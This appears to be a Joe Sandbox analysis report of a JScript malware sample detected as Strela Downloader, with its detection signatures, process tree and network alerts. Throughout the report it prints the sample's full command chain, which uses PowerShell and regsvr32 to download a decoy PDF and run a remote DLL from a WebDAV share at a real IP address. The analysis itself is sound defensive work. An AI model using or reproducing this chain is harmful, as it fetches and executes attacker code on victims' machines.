Edit tour

Windows Analysis Report
289215992948720779.js

Overview

General Information

Sample name:	289215992948720779.js
Analysis ID:	1587534
MD5:	b0cfbfd9e4aaeb40c8b9dffd3ba80c5f
SHA1:	cab85f348e95a81bbb4af812e2906722caa9c1e0
SHA256:	3b396a5ae7ba88e053ee11e77840760e2f33fde919c2d6300b6cee5dcbf7f56e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3172 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2724 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1572,i,16019868908939990801,6924203002331228427,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1224 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4708 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7172 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3172	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2724, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2724, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ProcessId: 3172, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4708, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49734

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ProcessId: 3172, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2724, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4708, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7172, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4708, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll, ProcessId: 6344, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:32:17.870649+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49734	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:32:15.231649+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49717	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 289215992948720779.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 289215992948720779.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49734 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 